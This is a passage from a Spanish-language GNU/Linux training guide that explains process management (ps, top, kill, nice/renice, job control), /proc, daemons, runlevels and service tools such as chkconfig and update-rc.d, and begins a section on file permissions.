Una vez que el equipo se ha encendido se ejecutan los programas, cada programa es conocido como proceso. Para conocer los procesos de un sistemas basta con teclear el comando "ps aux", se sorprenderá de la cantidad de procesos que su computadora realiza!! y todo esos procesos deben son manejados por el kernel. El kernel les indica los espacios de memoria (RAM y swap) y las propiedades con las que pueden acceder a ellos. Cada proceso requiere ciertos ciclos de reloj (CDR), del procesador. Todos los procesos comparten los CDR de manera ordenada porque el kernel les indica en que orden deben tomar los CDR que les corresponden.

[jortega@firewall ~]$ ps aux

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 1948 736 ? Ss 10:58 0:02 /sbin/init root 2 0.0 0.0 0 0 ? S< 10:58 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? S< 10:58 0:00 [migration/0] root 4 0.0 0.0 0 0 ? S< 10:58 0:00 [ksoftirqd/0] root 5 0.0 0.0 0 0 ? S< 10:58 0:00 [watchdog/0] root 6 0.0 0.0 0 0 ? S< 10:58 0:00 [migration/1]

Diplomado de GNU/Linux88

Page 89: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

root 7 0.0 0.0 0 0 ? S< 10:58 0:00 [ksoftirqd/1] root 8 0.0 0.0 0 0 ? S< 10:58 0:00 [watchdog/1]

0.2 Creando procesos

Un nuevo proceso es generado regularmente cada vez que se arranca un programa. Incluso, los comandos del shell (Ej.: cd, ls,...) generan un proceso nuevo, pero inmediatamente termina la ejecución así también termina el proceso. Si conectas varios comandos utilizando las tuberías del shell, cada segmento de la tubería (cada comando) es ejecutado en procesos separados. Puedes utilizar el comando exec para así requerir del kernel que no genere un nuevo proceso para este programa que vas a ejecutar. Típicamente el comando exec reemplaza la imagen del proceso existente con una nueva imagen. Consideremos este ejemplo: [jortega@firewall ~]$ exec vi

Y vera como cuando al salir de vi su terminal también se cerrara.

En contra-parte a este comando, tenemos el comando “nohup” que definimos a continuación.El nohup es un comando de los históricos de UNIX. Cuando en un terminal físico (terminal serie), virtual (xterm, konsole, putty, telnet, ssh, etc.), o en la consola cerramos la sesión (cerrando la ventana si estamos en un entorno gráfico, con el comando exit, o pulsando Control+D en la shell), el proceso que gestiona dicho terminal (getty, mgetty, sshd, telnetd, etc.) manda una señal SIGHUP a los procesos que cuelgan bajo ellos, normalmente, la shell, y en Linux, típicamente bash. Tal y como podemos leer en la página de man de bash, la shell, a su vez, manda dicha señal a todos los procesos que cuelgan bajo ella y, de hecho, incluso los despierta si están parados.

Ante la señal SIGHUP normalmente todos los procesos reaccionan simplemente saliendo, lo cual es un problema si queremos que nuestro programa siga ejecutándose en el sistema una vez que hayamos dejado la shell. Para evitar que esto ocurra, tradicionalmente se ha usado el comando nohup.

Nohup es un comando POSIX que ignora la señal HUP(colgar), permitiendo al comando, seguir funcionando después de que el usuario ha cerrado la sesión. La señal HUP(colgar), por convención, es la forma en como un terminal advierte a los procesos, el cierre de sesión.

Nohup a menudo se utiliza para ejecutar comandos en background (daemons). La salida que normalmente mostraría la terminal va a un archivo llamado “nohup.out” si es que no redirecciona a otro lado.

Nohup, en resumen, ignora la señal de cuelgue a la hora de cerrar el terminal que lo ejecuta. Otra forma de decir esto es que este comando hace al programa independiente de la terminal que lo ejecuta.Un ejemplo es como sigue:zxguitar@zxlaptop:~$ nohup comando

0.3 Comando ps

El comando ps despliega información de una selección activa de procesos, ejemplo:

Diplomado de GNU/Linux89

Page 90: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

[jortega@firewall ~]$ ps

PID TTY TIME CMD 19007 pts/1 00:00:00 bash 19145 pts/1 00:00:00 ps

Para ver información mas detallada sobre los estados de los procesos puedes usar “ps -ef” o “ps aux”

[jortega@firewall ~]$ ps aux

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 1948 736 ? Ss 10:58 0:02 /sbin/init root 2 0.0 0.0 0 0 ? S< 10:58 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? S< 10:58 0:01 [migration/0] root 4 0.0 0.0 0 0 ? S< 10:58 0:01 [ksoftirqd/0] root 5 0.0 0.0 0 0 ? S< 10:58 0:00 [watchdog/0]

[jortega@firewall ~]$ ps -ef

UID PID PPID C STIME TTY TIME CMD root 1 0 0 10:58 ? 00:00:02 /sbin/init root 2 0 0 10:58 ? 00:00:00 [kthreadd] root 3 2 0 10:58 ? 00:00:01 [migration/0] root 4 2 0 10:58 ? 00:00:01 [ksoftirqd/0] root 5 2 0 10:58 ? 00:00:00 [watchdog/0] root 6 2 0 10:58 ? 00:00:00 [migration/1] root 7 2 0 10:58 ? 00:00:01 [ksoftirqd/1] root 8 2 0 10:58 ? 00:00:00 [watchdog/1]

Muestra todo los proceso de un usuario. [deivy@deivy ~]$ ps -U usuario

PID TTY TIME CMD 2020 ? 00:00:00 gnome-keyring-d 2027 ? 00:00:00 gnome-session 2037 ? 00:00:00 dbus-launch 2038 ? 00:00:00 dbus-daemon

Imprime por pantalla todo los demonios en ejecución. [deivy@deivy ~]$ ps -t ?

PID TTY TIME CMD 1 ? 00:00:01 init 2 ? 00:00:00 kthreadd

0.4 Comando top

El comando top es muy parecido al comando ps, ambos despliegan los procesos ejecutándose en el sistema pero con la diferencia de que el comando top los muestra de manera dinámica y permite enviarle señales a dichos procesos, si ejecutamos top desde el terminal tendremos una salida a la siguiente pero con la información constantemente

Diplomado de GNU/Linux90

Page 91: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

refrescada de manera dinámica.

top - 11:47:22 up 48 min, 2 users, load average: 0.26, 0.34, 0.36 Tasks: 158 total, 3 running, 155 sleeping, 0 stopped, 0 zombie Cpu(s): 8.6%us, 3.2%sy, 0.0%ni, 87.9%id, 0.2%wa, 0.2%hi, 0.0%si, 0.0%st Mem: 2065480k total, 1584752k used, 480728k free, 130436k buffers Swap: 2104472k total, 0k used, 2104472k free, 731444k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 2693 root 20 0 625m 283m 11m S 12.6 14.0 3:22.04 Xorg 3313 jortega 20 0 242m 83m 28m S 4.0 4.1 1:40.15 banshee-1 7212 jortega 20 0 74820 12m 7328 S 4.0 0.6 0:17.80 npviewer.bin 6992 jortega 20 0 101m 23m 12m S 1.7 1.2 0:01.97 gnome-terminal Para visualizar la línea de comando completa de cada proceso con el comando top, lo hacemos de la siguiente manera:[deivy@deivy ~]$ top -c

0.5 Estado de los procesos

Los comandos ps y top despliegan la siguiente información del estado de los procesos:

R Running Ejecutándose S Sleeping Durmiendo T Terminating Terminando D Device I/O Dispositivo E/S Z Zombie Zombis

Los procesos en el estado de ejecutándose o se encuentran en ejecución en el CPU o están a punto de iniciar a correr en el CPU desde que exista la disponibilidad de acceso. Durmiendo es el estado en cual un proceso cae cuando esta en espera de que un evento suceda para el despertar y entonces continuar procesando.

Casi siempre espera por un tipo de operación de E/S. Un proceso detenido es un proceso que ha sido suspendido por el usuario. Un proceso en el estado D (Dispositivo E/S) no puede ser interrumpido; el kernel esta ocupado gestionando algún tipo de proceso de Entrada/Salida. Este estado D es muy particular tal vez la única vez que se le enfrente es en un problema de network accediendo un volumen de NFS. Un proceso zombie suele suceder cuando un proceso hijo termina y el proceso padre sigue manteniendo información de este y no le ha informado al kernel que este ya esta “muerto” y hasta que el proceso padre no informa esto entonces el proceso hijo no puede ser removido, es así como nace un proceso zombie.

0.6 CTRL+z, bg, fg y &

Hay ciertas combinaciones de teclas, comandos y caracteres especiales que nos permiten tener control de trabajos (jobs) sobre nuestros sistemas GNU/Linux, algunos ejemplos de estos serian:

CTRL+zCon esta combinación de teclas podemos enviar un proceso a background en estado de “stopped” (detenido), sería una forma como de “minimizar” una ventana, hasta que sea

Diplomado de GNU/Linux91

Page 92: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

solicitado por nosotros (maximizar la ventana) que vuelva al foreground de nuevo a continuar con su ejecución.[jortega@firewall ~]$ su -c 'updatedb'

se presiona la combinación de teclas CTRL+z justamente después de ejecutar el comando anterior y veremos algo parecido a lo siguiente:^Z [1]+ Stopped su -c 'updatedb'

Podemos ver como el estado del comando “su -c updatedb” esta en stopped, si queremos traer ese comando al foreground (frente) para que este continué su ejecución en estado de “running” (corriendo) pues entonces ejecutamos el comando fg y veremos como el proceso vuelve al frente a terminar su ejecución.[jortega@firewall ~]$ fg %1

Mas sin embargo, si lo que queremos es que este continué en background pero ejecutándose, entonces se utilizaría el comando bg seguido por signo de “%” mas su “job number” para que este empiece a ejecutarse en background. (El job number de este seria el numero entre los corchetes).[jortega@firewall ~]$ bg %1 [1]+ su -c 'updatedb' &

El caracter & sirve para cuando ejecutes un programa enviarlo de inmediato a background o en otras palabras, iniciarlo minimizado. Esto nos permitiría seguir usando ese shell donde se ejecutó ese comando.

0.7 Comando jobs

Si ejecutamos el comando jobs podremos verificar como el estado del proceso paso ahora de ser stopped a running.[jortega@firewall ~]$ jobs [1]+ Running su -c 'updatedb' &

Mas por el contrario, si queremos empezar un comando (proceso) y que este se vaya a background y mientras este en background queremos que este corriendo podemos usar el metacaracter & para hacer todo esto de la siguiente manera, ejemplo:[root@firewall ~]# updatedb &

0.8 Enviando señales con kill

Muy por el contrario de los que muchas piensan, el comando kill no se usa para “matar” procesos, es solo una de las funciones que hace. Kill se usa es para enviarle señales a procesos, siendo señal de matar solo una de las que esta hace, para ver todas las posibles señales que se pueden enviar con el comando kill usamos la opción -l, ejemplo:[jortega@firewall ~]# kill -l

Devolviéndonos esto un total de 64 señales que podemos enviar con kill, donde las que usaremos por ahora solo para mostrar algunos ejemplos serán las señales -1 (SIGHUP), -9 (SIGKILL) y -15 (SIGTERM).Solemos usar kill -1 para que un demonio vuelva a leer su archivo de configuración, supongamos que queremos reiniciar el demonio de ssh para que este vuelva a releer su archivo de configuración y así cargar algunos cambios que hemos hecho, podemos hacerlo

Diplomado de GNU/Linux92

Page 93: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

de la siguiente manera.Averiguamos el PID del demonio con:[jortega@firewall ~]$ pidof sshd 4674

Y seguido de esto solo tenemos que enviarle la señal necesaria para poder reiniciar este demonio con:[jortega@firewall ~]$ su -c 'kill -1 4674'

Si creemos que nuestro servicio de ssh esta funcionando de manera extraña y queremos matarlo de manera forzosa pues podemos hacerlo con la opción -9 de kill (SIGKILL) para hacer esto.[jortega@firewall ~]$ su -c 'kill -9 4674'

En caso de que en vez de matarlo forzosamente queremos solo intentar matarlo si se puede pues usaríamos la opción -15 de kill (SIGTERM).[jortega@firewall ~]$ su -c 'kill -15 4674'

Detengamos el proceso de manera temporal con kill. [deivy@deivy ~]$ kill -STOP 2990 “PDI del proceso”

Ahora vamos a decirle al proceso que continué su ejecución. [deivy@deivy ~]$ kill -CONT 2990 “PDI del proceso”

0.9 Cambiando prioridad con nice/renice

GNU/Linux tiene niveles de prioridades para los procesos, estos niveles de prioridad van desde -20 hasta 20, donde la mayoría de los procesos generalmente esta corriendo con una prioridad de 0. Es bueno mencionar que la prioridad mientras mas baja es mayor y mientras mas alta es menor. En otras palabras el numero “-20” es menor que “20”, por lo tanto una proceso que tenga la prioridad de “-20”, realmente tiene mayor prioridad aunque numéricamente sea menor.La prioridad de un proceso la podemos ver de varias maneras, una de ellas ejecutando el comando TOP y buscando la columna NI y la otra es ejecutando el comando “ps -efl” y buscando la misma columna NI.La prioridad por defecto de nice, si no se especifica es 10. Puedes hacer que un comando inicie con cierta prioridad en vez que de el kernel le asigne una de manera dinámica, para hacer esto los hacemos de la siguiente manera.Iniciando vi con una prioridad de 15.[jortega@firewall ~]$ nice -15 vi &

También es valido usar nice de la siguiente manera y obtenemos un resultado igual:zxguitar@zxlaptop:~$ nice -n 15 vi &

Seguido de esto si se entra a top y busca la linea correspondiente a vi podrá ver que en la columna NI vi tiene un 10, o sea, esta corriendo con una prioridad de 10, si hubieras querido que vi hubiera tenido un -15 en vez de 15 entonces hubieras hecho:[jortega@firewall ~]$ su -c 'nice --15 vi &'

Esto también lo podemos ejecutar de la siguiente manera como en el caso anterior:zxguitar@zxlaptop:~$ su -c 'nice -n -15 vi &'

Diplomado de GNU/Linux93

Page 94: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

En el caso de renice, es un comando que va de la mano con nice, ya que en el primer caso iniciamos procesos con una prioridad especifica, pero si deseamos cambiar la prioridad de un proceso que ya se esta ejecutando, seria un poco cuesta arriba, detenerlo y luego iniciarlo nuevamente con la prioridad deseada.

Para estos casos tenemos esta herramienta renice.

Incrementa la prioridad de un proceso que tenia una prioridad de 15 a 1, en este caso el numero de ID de proceso (PID) es 123. zxguitar@zxlaptop:~$ renice +1 123

Incrementa la prioridad de un proceso, con ID de 123. (Solo root puede asignar prioridad por debajo de 0).zxguitar@zxlaptop:~$ renice -1 123

Igual que los casos anteriores, pero estamos modificando la prioridad de 2 procesos al mismo tiempo, el PID 123 y el PID 200.zxguitar@zxlaptop:~$ renice +1 -p 123 -p 200

Modifica la prioridad de todos los procesos que son poseídos por el usuario “fmateo”.zxguitar@zxlaptop:~$ renice +1 -u fmateo

Modifica la prioridad de todos los procesos que pertenecen a un grupo en específico (backup).zxguitar@zxlaptop:~$ renice +1 -g backup

0.10 Procesos en /proc

El sistema de archivos /proc es una ventana para que podamos observar el funcionamiento del kernel en memoria ya que es un sistema de archivos virtual. Utilizándolo, uno puede extraer valiosísima información sobre los procesos ejecutándose en el sistema. En el directorio /proc existen muchos subdirectorios “enumerados” correspondiente a cada PID en el sistema. Estos son creados cada vez que se ejecuta un nuevo proceso. Dentro de estos directorios enumerados se encuentran archivos y directorios que nos dan información acerca del proceso.

En GNU/Linux, todo se guarda en archivos. La mayoría de usuarios están familiarizados con los dos primeros tipos de archivos, de texto y binarios. Sin embargo, el directorio /proc/ contiene otro tipo de archivos llamado archivo virtual. Por esta razón, es que a menudo se hace referencia a /proc/ como un sistema de archivos virtual. Estos archivos virtuales poseen cualidades únicas. En primer lugar, la mayoría de ellos tienen un tamaño de 0 bytes (esto lo puede comprobar ejecutado “du -sh /proc” que es un comando para medir el tamaño en disco un folder o archivo). Sin embargo, cuando se visualiza el archivo, éste puede contener una gran cantidad de información. Además, la mayoría de configuraciones del tiempo y las fechas reflejan el tiempo y fecha real, lo que es un indicativo de que están siendo constantemente modificados.

Los archivos virtuales tales como /proc/interrupts, /proc/meminfo, /proc/mounts, y /proc/partitions proporcionan una vista rápida actualizada del hardware del sistema. Otros, como /proc/filesystems y el directorio /proc/sys/, proveen información de

Diplomado de GNU/Linux94

Page 95: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

configuración del sistema e interfaces. Para propósitos organizativos, los archivos que contienen información sobre un tópico similar se agrupan en directorios virtuales y sub-directorios. Por ejemplo, /proc/ide/ contiene información sobre los dispositivos IDE. De la misma forma, los directorios de procesos contienen información sobre cada proceso ejecutándose en el sistema.

Algunos otros archivos interesantes son:/proc/apm: Provee información sobre "Advanced Power Management", si es que esta instalado.

/proc/acpi: Un directorio similar al anterior que ofrece bastantes datos sobre el más moderno ACPI (Advanced Configuration and Power Interface). Por jemplo, para ver si tu laptop está conectada a la corriente AC, puedes usar cat /proc/acpi/ac_adapter/AC/state o en algunas distros cat /proc/acpi/ac_adapter/ACAD/state, y así obtendrás "on line" o "off line".

/proc/cmdline: Muestra los parámetros que fueron pasados al kernel al momento del arranque (boot time). En mi caso contiene lo siguiente: root=/dev/disk/by-id/scsi-SATA_FUJITSU_MHS2040_NLA5T3314DW3-part3 vga=0x317 resume=/dev/sda2 splash=silent PROFILE=QuintaWiFi, que me dice que en que partición está la raíz del filesystem, que modo VGA está en uso y más. El último parámetro tiene que ver con openSUSE's System Configuration Profile Management.

/proc/cpuinfo: Muestra datos sobre el procesador de tu equipo. Por ejemplo, en mi laptop, cat /proc/cpuinfo me da un listado que comienza con:processor : 0vendor_id : AuthenticAMDcpu family : 6model : 8model name : Mobile AMD Athlon(tm) XP 2200+stepping : 1cpu MHz : 927.549cache size : 256 KBEsto muestra que solo tengo un procesador, marcado como 0 de la familia 80686 (El '6' en la familia de cpu es dígito medio): un AMD Athlon XP, corriendo a poco menos de 1GHZ.

/proc/loadavg: Un archivo relacionado al anterior que muestra la carga promedio del procesador; su información incluye el uso de CPU en el último minuto, últimos cinco minutos y últimos 15 minutos, asi como el número de procesos actuales ejecutándose.

/proc/stat: También proporciona estadísticas, pero tomando en cuenta el último boot (arranque).

/proc/uptime: Un archivo pequeño que solo tiene dos números: por cuantos segundos tu sistema ha estado encendido, y cuantos segundos ha estado inactivo. /proc/devices: Despliega todos los dispositivos actuales configurados y cargados de caracter y bloque. /proc/ide y /proc/scsi proveen datos sobre dispositivos IDE y SCSI.

/proc/ioports: Te muestra información sobre las regiones usadas para comunicaciones de

Diplomado de GNU/Linux95

Page 96: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

E/S (I/O) de esos dispositivos.

/proc/dma: Muestra los canales "Direct Memory Access" en uso.

/proc/filesystems: Muestra cuáles tipos de sistemas de archivos (filesystems) están soportados por tu kernel. Una porción de esto puede lucir como esto: nodev sysfsnodev rootfsnodev bdevnodev procnodev cpuset...some lines snipped...nodev ramfsnodev hugetlbfsnodev mqueue ext3nodev usbfs ext2nodev autofsLa primera columna muestra si el sistema de archivos está montado en un dispositivo de bloques. En mi caso, tengo particiones configuradas con ext2 y ext3.

/proc/mounts: Muestra todos los "mounts" usados por tu máquina (la salida es muy similar a /etc/mtab). Similarmente, /proc/partititons y /proc/swaps muestra todas las particiones y el espacio swap respectivamente.

/proc/fs: Si estás exportando sistemas de archivos con NFS, este directorio tiene entre sus muchos subdirectorios y archivos a /proc/fs/nfsd/exports, que muestra los sistemas de archivos que están siendo compartidos y sus permisos.

/proc/net: No hay nada mejor que esto para información de red. Describir cada archivo en este directorio requeriría demasiado espacio, pero incluye dev (todos los dispositivos de red), varios archivos relacionados al firewall iptables, estadísticas de red y sockets, información sobre wireless y más.

Podemos cambiar ciertos archivos que están en /proc y ver como sus cambios son reflejados automáticamente en el sistema, ejemplo:

Si queremos el domain name (nombre de dominio) de nuestro equipo podemos hacerlo de la siguiente manera:Verificamos nuestro nombre de dominio[jortega@firewall ~]$ domainname (none)

Y fíjate que devuelve (none), o sea, ninguno, para cambiarlo en /proc podemos hacerlo de la siguiente manera:Verificamos nuestro domainname en /proc[jortega@firewall ~]$ cat /proc/sys/kernel/domainname (none)

Diplomado de GNU/Linux96

Page 97: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Lo cambiamos con:[jortega@firewall ~]$ su -c 'echo "fcld.local" > /proc/sys/kernel/domainname'

Verificamos de nuevo[jortega@firewall ~]$ cat /proc/sys/kernel/domainname fcld.local

Verificamos con domainname[jortega@firewall ~]$ domainname fcld.local

0.11 Demonios

Daemons son procesos que dan soporte a servicios del sistema. Normalmente ellos se inician al tiempo de arranque y la entrada de modo multiusuario y se detienen cuando el sistema se apaga. Un atributo clave de un proceso Daemons es que no es parte de un terminal esto se puede comprobar con el comando ps el cual te listar una marca de pregunta en la columna TTY. Esto implica que el Daemons no recibe señales asociadas con el terminal. Típicamente los procesos que reciben una señal SIGTERM cuando la terminal se apagan. En el caso de los Daemons tal cosa no puede pasar.

Para ver todos los demonios que tenemos en el sistema podemos ejecutar el siguiente comando:[jortega@firewall ~]$ service --status-all

0.12 Runlevels

El kernel ejecuta init al arrancar. Este programa, ahora como proceso, cargará los subprocesos necesarios para la puesta en marcha del sistema. Cuando init ha terminado de cargarse vacía el subdirectorio /tmp y lanza getty que se encarga de permitir hacer login en el sistema a los usuarios.

Los niveles de ejecución (runlevel), definidos en el archivo /etc/inittab (en Ubuntu es /etc/init/rc-sysinit.conf) determinan los servicios que tendremos disponibles en cada uno de ellos. Es una forma de tener diferentes modos de trabajo, cada uno de ellos con características bien definidas, en función del tipo de tarea a que estén orientados. Existen ocho niveles de ejecución, que están numerados del cero al seis, más otro denominado con la letra “S” (tiene un alias con la letra “s”, que realmente es igual a el no 1). Los niveles de ejecución de ejecución que manejaremos y una descripción de para qué están definidos se puede ver en la siguiente tabla:

Nivel de ejecución Modo 0 Detener el sistema 1 Mono usuario, sin soporte de red, Mantenimiento 2 Multiusuario, sin soporte de red, Poco sistemas lo usan 3 Modo multiusuario completo 4 Sin uso. Recomendado para pruebas 5 Modo X11; Multiusuario completo en entorno gráfico 6 Reiniciar el sistema s/S Nivel Usuario Único a/b/c Pseudo Estados (Casi nunca usado)

Diplomado de GNU/Linux97

Page 98: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Cada uno de estos niveles de ejecución tiene un directorio donde se encuentran los servicios o demonios que inician cuando son ejecutados. Un nivel de ejecución es un mecanismo para proporcionar distintas configuraciones del equipo y se implementa mediante el uso de árboles de scripts de inicio, almacenados en directorios llamados /etc/rc1.d, /etc/rc2.d, etc. Esta característica es implementada típicamente de forma muy simple, por lo que usted debe modelar sus entradas en el archivo basándose en otras del mismo, o bien consultar la documentación de su sistema para obtener más información.

0.13 init

Init es el proceso padre de todos los demás procesos, si ejecutamos pstree -np | less podremos ver que el primer procesos que esta arriba y con el PID de 1 es init seguido luego de todo un árbol de procesos que se desprende de el, pero init también es un comando que nos podemos cambiarnos de los runlevels ya antes mencionados, ejemplo:Para cambiar al runlevel 3 con el comando init lo hacemos de la siguiente manera:[jortega@firewall ~]$ su -c "init 3"

Podemos verificar en que runlevel estamos actualmente con:[jortega@firewall ~]$ runlevel

Pudiendo luego de esto volver a subir a nuestro runlevel por defecto (generalmente el 5) con[jortega@firewall ~]$ su -c "init 5"

0.14 Comando service

Con el comando service podemos iniciar, parar, reiniciar y ver el estados de determinados demonios, ejemplos:Para ver iniciar el demonio de ssh podemos hacerlo de la siguiente forma:[jortega@firewall ~]$ su -c 'service sshd start'

Para detenerlo podemos hacer[jortega@firewall ~]$ su -c 'service sshd stop'

Para ver su estatus podemos hacer[jortega@firewall ~]$ su -c 'service sshd status'

Y por ultimo para reiniciarlo podemos hacer:[jortega@firewall ~]$ su -c 'service sshd restart'

0.15 chkconfig

El comando chkconfig se usar para podemos indicarle a los demonios en que runlevels deben correr y en cuales no. Hay herramientas que hacen esto con ventanas ncurses y puede resultar mas fácil, una de ellas es “ntsysv”. Te permite hacer esto de una forma “gráfica” en el shell, aunque no puedes elegir los runlevels que deseas, solamente activar y desactivar.

Ejemplos:Para ver una lista de todos los demonios y de cuales runlevels tienen habilitados podemos ejecutar:[jortega@firewall ~]$ chkconfig --list

Diplomado de GNU/Linux98

Page 99: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Lo cual nos devolverá algo parecido a:NetworkManager 0:off 1:off 2:on 3:on 4:on 5:on 6:off acpid 0:off 1:off 2:on 3:on 4:on 5:on 6:off anacron 0:off 1:off 2:on 3:on 4:on 5:on 6:off apmd 0:off 1:off 2:on 3:on 4:on 5:on 6:off arpwatch 0:off 1:off 2:off 3:off 4:off 5:off 6:off

Donde cada demonio es una linea y cada demonio tiene sus runlevels enumerados del 0 a 6 y cada numero dice al lado si esta on (encendido, si va a correr en ese runlevel) o si esta off (apagado, si no va a correr en ese runlevel)Ejemplo, si queremos hacer que ssh corra en los runlevels 2, 3, 4, 5 (chkconfig hace que los demonios corran por defecto en estos runlevels) podemos hacerlo de la siguiente manera.

Ver el listado de los servicios del sistema. [root@deivy ~]# chkconfig --list

Subamos el sshd los niveles 2,3 y 5. [root@deivy ~]# chkconfig --level 235 sshd on

Verifiquemos que lo anterior sea realizado con éxito. [root@deivy ~]# chkconfig --list sshd

Bajemos el sshd los niveles 2,3 y 5. [root@deivy ~]# chkconfig --level 235 sshd on

Verifiquemos que lo anterior sea realizado con éxito. [root@deivy ~]# chkconfig --list sshd

Virifica que el servicio cups este el la lista de servicios de chkconfig. [root@deivy ~]# chkconfig --list cups

Si este servicio se encuentra el la lista de servicios, elimínalo. [root@deivy ~]# chkconfig --del cups

Verifiquemos que lo anterior sea realizado con éxito. [root@deivy ~]# chkconfig --list cups

0.16 Invoke-rc.d

La contra-parte del comando service para Debian y demás distribuciones basadas en esta es el comando invoke-rc.d y tiene las mismas opciones que el comando service, ejemplo:Si queremos detener el demonio de ssh con el comando invoke-rc.d en Debian y demás distribuciones basadas en esta lo hacemos de la siguiente manera:[jortega@firewall ~]$ sudo invoke-rc.d ssh stop

Si queremos iniciarlo seria con:[jortega@firewall ~]$ sudo invoke-rc.d ssh start

Si queremos reiniciarlo seria con:[jortega@firewall ~]$ sudo invoke-rc.d ssh restart

Diplomado de GNU/Linux99

Page 100: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

0.17 update-rc.d

El comando update-rc.d es la contra-parte del comando “chkconfig” pero en Debian/Ubuntu. Este comando sirve para indicarle a los demonios o servicios, en que runlevel deben correr y en cuales no. Hay herramientas que hacen esto con ventanas ncurses y puede resultar mas fácil, una de ellas es “rcconf”. También hay otra herramienta, mas completa que permite que personalicemos mas, esta es “sysv-rc-conf”. Estas herramientas te permiten realizar estas tareas administrativas de una forma “gráfica” en el shell.

root@zxlaptop:~# update-rc.d samba defaultsEste comando crea enlaces que inician samba en los runlevels 2345 y enlaces que lo terminan en los runlevels 016 con la prioridad 20.

Equivale a: root@zxlaptop:~# update-rc.d samba start 20 2 3 4 5 stop 20 0 1 6

Otro ejemplo:root@zxlaptop:~# update-rc.d samba defaults 91Que significa esto?update-rc.d = La aplicación o comando que maneja los runlevels (Niveles de ejecución).samba = el servicio o script que quiero ejecutar, el mismo debe existir en el directorio /etc/init.d/samba.

defaults = Esto le dice al comando update-rc.d que queremos que el servicio samba inicie cuando la maquina inicie y que termine cuando la maquina se apague.

91 = es la prioridad en la que debe ejecutarse el script o servicio. La escala de la prioridad va desde uno a cien (1 – 100). Elegimos 91 porque deseamos que se ejecute casi al final de la secuencia de booteo.

Tenemos otro caso. Si deseamos que el servicio no inicie en lo absoluto, podemos hacerlo de la siguiente manera:root@zxlaptop:~# update-rc.d samba remove

Si deseamos que no solamente el servicio no inicie, sino que los scripts de inicio del servicio sean eliminados (están en /etc/init.d/) lo hacemos de esta forma.root@zxlaptop:~# update-rc.d -f samba remove

0.18 Practica administración Capitulo 0.

1.0 Sistema de Archivos y Permisos

El sistema de archivo de linux, como ya se ha tratado, posee una estructura de almacenamiento jerárquica. La estructura de árbol es ilimitada en profundidad y ancho, lo que facilita la extensibilidad. Existe mucha confusión en el uso del termino ‘filesystem’, pues es comúnmente utilizado para expresar dos conceptos distintos. La jerarquía de archivo y directorios que usamos para organizar data en un sistema y el Sistema de archivos es formato que el kernel usa para almacenar data en medios físicos, como son los discos (‘tipos de sistemas de archivos’).

Al ser GNU/Linux un clon de UNIX y un sistema multiusuario, para que se puedan proteger

Diplomado de GNU/Linux100

Page 101: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

los archivos se estableció un mecanismo por el cual se le pueden otorgar permisos a un determinado usuario o grupo. Esto permite, por ejemplo, que si existe un archivo creado por un usuario en particular, este será propiedad del usuario y también tendrá el grupo del usuario. Se permite que los archivos sean compartidos entre usuarios y grupos de usuarios.

Los permisos están divididos en tres tipos: Lectura, escritura y ejecución (rwx). Estos permisos pueden estar fijados para tres clases de usuario: el propietario del archivo(owner), el grupo al que pertenece el archivo(grupo) y para todo el resto de los usuarios(others).

1.1 Sistema de archivos

Los Sistemas de Archivos definen la estructura de los discos. Los discos en si se esconden del usuario. Todo acceso a los archivos es a través de la estructura de directorios y los permisos se utilizan para controlar acceso al sistema. Discos pueden ser formateados con diferentes sistemas de archivos y deben ser montados en la estructura de directorios para poder ser accedidos. Un disco o una partición puede ser montada en cualquier directorio; este directorio es entonces referido como el punto de montaje.

1.2 Tipos de sistemas de archivos

Los sistemas de archivos tienen un tipo asociados con ellos. Los tipos soportados por un sistema Linux dependen de los que fueron compilados dentro del kernel en particular. Aunque Linux soporta un gran numero de sistemas de archivos a veces no fueron compilados en el kernel por cuestión de ahorro de recursos. En práctica, las mayoría de sistemas solo implementan los sistemas de archivos mas comunes.

Un tipo de sistema de archivos define la estructura de data en el disco. Linux soporta muchos tipo de sistemas de archivos, es costumbre que un distro soporte doce o mas tipos de sistema de archivos. El estándar en todos los sistemas Linux es hoy día la Ext3 la cual recientemente reemplazo la Ext2. Todas las distros incluyen soporte para Microsoft VFAT, FAT, FAT32 y NTFS (excepción de RedHat, aunque el kernel puede ser recompilado para soportarlo) además de OS/2 y NFS. Los sistemas de archivos en linux se diferencian uno de otros principalmente por el manejo de inodos y en la implementación del Journal (implementado por el ReiserFS, ext3, ext4 entre otros).

1.3 Permisos de archivos y directorios (chmod,chown,chgrp)

Permisos de archivosExisten tres tipos de permisos en archivos, cada uno denotado por una letra. Un permiso representa una acción que se le puede hacer a un archivo

Read r leer la data almacenada en el archivo.Write w escribir en archivo,borrar o sobreescribir.Execute x ejecutar el contenido del archivo(programa).

Permisos en directorioslos permisos de r,w,x también tienen significado sobre los directorios. El significado para los directorios es un poco diferente:Read r Echar un vistazo en el directorio.Write w Crear, borrar o renombrar archivos dentro del directorio.

Diplomado de GNU/Linux101

Page 102: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Execute x Cambiar, entrar o usar el directorio.

Los permisos de lectura y ejecución en un directorio es deseable que se usen en conjunto.

La sintaxis para usar chmod con texto:

chmod [ugo][+-][rwx] [nombre_archivo]

Donde [u=user, g=group y o=other]; [+/- activa o desactiva los atributos siguientes] [r=read, w=write, x=execute]

Crea un archivo vacío.[deivy@deivy ~]$ touch prueba.txt

